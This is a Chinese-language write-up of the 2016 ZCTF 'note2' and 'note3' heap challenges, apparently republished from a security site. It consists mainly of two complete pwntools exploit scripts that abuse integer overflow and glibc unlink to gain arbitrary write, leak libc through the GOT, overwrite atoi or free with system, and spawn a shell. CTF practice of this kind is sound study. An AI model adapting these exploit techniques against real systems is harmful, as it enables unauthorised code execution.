2016-zctf-note2,3 (unlink)

zctf-note2

考察知识点 整数溢出,unlink,堆结构

unlink关键是伪造chunk的头,fd, bk遵循相应的规则,在unlink的时候一般为向低地址合并,因此在低地址要进行伪造来满足glibc的检查。这样就可以进行任意地址写了
空闲数据块结构
2016-zctf-note2,3 (unlink)
已分配数据块结构
2016-zctf-note2,3 (unlink)
unlink相关操作
2016-zctf-note2,3 (unlink)
核心思路
释放chunk1–>申请chunk1(覆盖chunk2 Header)–>释放chunk2,触发unlink操作
可以进行任意地址读写

exp


from pwn import *
from LibcSearcher import *

context.terminal = ["terminator", "-e"]

sh = process("./zctf_note2")
elf = ELF("./zctf_note2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

ptr = 0x602120

sh.recvuntil("name:")
sh.sendline("gqy")
sh.recvuntil("address:")
sh.sendline("cafebabe")

def new(length, content):
    sh.recvuntil("option--->>")
    sh.sendline("1")
    sh.recvuntil("128)")
    sh.sendline(str(length))
    sh.recvuntil("content:")
    sh.sendline(content)

def show(index):
    sh.recvuntil("option--->>")
    sh.sendline("2")
    sh.recvuntil("note:")
    sh.sendline(str(index))

def edit(index,content,choose):
    sh.recvuntil("option--->>")
    sh.sendline("3")
    sh.recvuntil("note:")
    sh.sendline(str(index))
    sh.recvuntil("append]")
    sh.sendline(str(choose))
    sh.recvuntil("TheNewContents:")
    sh.sendline(content)

def delete(index):
    sh.recvuntil("option--->>")
    sh.sendline("4")
    sh.recvuntil("note:")
    sh.sendline(str(index))

# --------- ow the chunk
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
# 0x40 + 0x8 * 4 = 0x60, presize == 0x60
content = b'A'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + b'B'*0x40 + p64(0x60)
new(128,content) # chunk0
#gdb.attach(sh)
new(0,b'A'*8) # chunk1
new(128,b'A'*16) # chunk2
#gdb.attach(sh)
delete(1)
#gdb.attach(sh)
content = b'a' * 16 + p64(0xa0) + p64(0x90)
new(0, content)
#gdb.attach(sh)
delete(2)
#gdb.attach(sh)
# ------- leak to get shell
atoi_got = elf.got['atoi']
#log.success("atoi got:" + str(hex(atoi_got)))
content = b'c'*0x18 + p64(atoi_got)
edit(0,content,1);
show(0)
sh.recvuntil("is ")

atoi_addr = u64(sh.recv(6).ljust(8,b'\x00'))
log.success("atoi addr:"+str(hex(atoi_addr)))

base = atoi_addr - libc.symbols['atoi']
sys_addr = libc.symbols['system'] + base
log.success("system is:" + str(hex(sys_addr)))
#gdb.attach(sh)
edit(0,p64(sys_addr),1)
sh.recvuntil("option--->>")
sh.sendline("/bin/sh\x00")

sh.interactive()

zctf-note3

申请0,1,2,通过1溢出修改2,free(2)触发unlink,修改数据实现指定地址写
思路和前一道题类似,也是整数溢出覆盖下一个chunk的数值。在之前先伪造好了fd, bk,这样在free(2)时出发unlink后,通过edit就可以修改地址指向的内容,将free函数的got改成puts.plt之后即可leak出puts的地址


from pwn import *

context.terminal = ["terminator", "-e"]

sh = process("./zctf_2016_note3")
elf = ELF("./zctf_2016_note3")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got = elf.got['puts']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_offset = libc.symbols['puts']
sys_offset = libc.symbols['system']

ptr = 0x6020c8


def new(length, content):
    sh.recvuntil("option--->>\n")
    sh.sendline("1")
    sh.recvuntil("1024)\n")
    sh.sendline(str(length))
    sh.recvuntil("content:\n")
    sh.sendline(content)

def show(index):
    # nothing
    return 

def edit(index,content):
    sh.recvuntil("option--->>\n")
    sh.sendline("3")
    sh.recvuntil("note:\n")
    sh.sendline(str(index))
    sh.recvuntil("content:\n")
    sh.sendline(content)

def delete(index):
    sh.recvuntil("option--->>\n")
    sh.sendline("4")
    sh.recvuntil("note:\n")
    sh.sendline(str(index))

fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = p64(0xcafebabe) + p64(0xa1) + p64(fakefd) + p64(fakebk) + b'a'*0x60
new(0x80,content)
new(0,b'a'*8)
new(0x80,b'b'*8)
#gdb.attach(sh)

# construct fake chunk
delete(1)
content = b'A'*0x10 + p64(0xa0) + p64(0x90)
new(0,content)
#gdb.attach(sh)
delete(2)
#gdb.attach(sh)
print("free got " + hex(free_got))
print("puts got " + hex(puts_got))
print("puts plt " + hex(puts_plt))

# leak
payload1 = b'E'*0x18 + p64(free_got) + p64(puts_got)
edit(0,payload1) # curr chunk 0x6020c8-0x18
#gdb.attach(sh)
edit(0,p64(puts_plt)[:-1]) # curr chunk ptr[0]
#gdb.attach(sh)
delete(1)
puts_addr = u64(sh.recv(6).ljust(8,b'\x00'))
print("puts addr " + hex(puts_addr))
libc_base = puts_addr - puts_offset
sys_addr = libc_base + sys_offset


# get shell
new(0,"/bin/sh")
edit(0,p64(sys_addr)[:-1])
delete(1)

sh.interactive()

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~